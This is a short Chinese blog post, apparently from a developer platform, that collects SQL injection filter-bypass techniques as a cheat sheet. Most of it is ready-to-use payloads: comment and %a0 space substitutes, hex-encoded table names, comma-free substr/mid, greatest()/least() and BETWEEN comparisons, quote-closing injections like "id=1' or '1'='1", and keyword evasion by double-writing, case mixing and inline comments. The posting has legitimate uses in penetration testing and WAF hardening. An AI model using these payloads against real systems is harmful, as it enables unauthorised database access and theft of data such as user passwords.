SQLbypass技巧

绕过空格(注释符/**/,%a0)

               括号绕过空格 双写

引号绕过(使用十六进制): 

select column_name from information_schema.tables where table_name="users"

select column_name from information_schema.tables where table_name=0x7573657273

逗号绕过(使用from或者offset):

Substr(database(),1,1)  

select substr(database() from 1 for 1);

select mid(database() from 1 for 1);

比较符号(<>)绕过 使用greatest()、least():(前者返回最大值,后者返回最小值)

select*from users where id=1 and ascii(substr(database(),0,1))>64

select*from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

绕过注释符号:#,-- -

通过闭合后面的引号来进行绕过

id=1' union select 1,2,3||'1

id=1' union select 1,2,'3

id=1' where '1'='1

id=1' and '1'='1

id=1' or '1'='1

=绕过 使用like、rlike、reqexp 或者使用<或者>

绕过union,select,where等:

uniounionn:双写绕过union

unionunion

U/**/NION/**/SE/**/LECT/**/user,pwd from user

UniOn:大小写绕过

当比较符号<>被过滤时,也可以用bewteen and进行绕过

Between a and c:返回a和z之间的数据 不包括z

详见sql注入自动化脚本编写

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值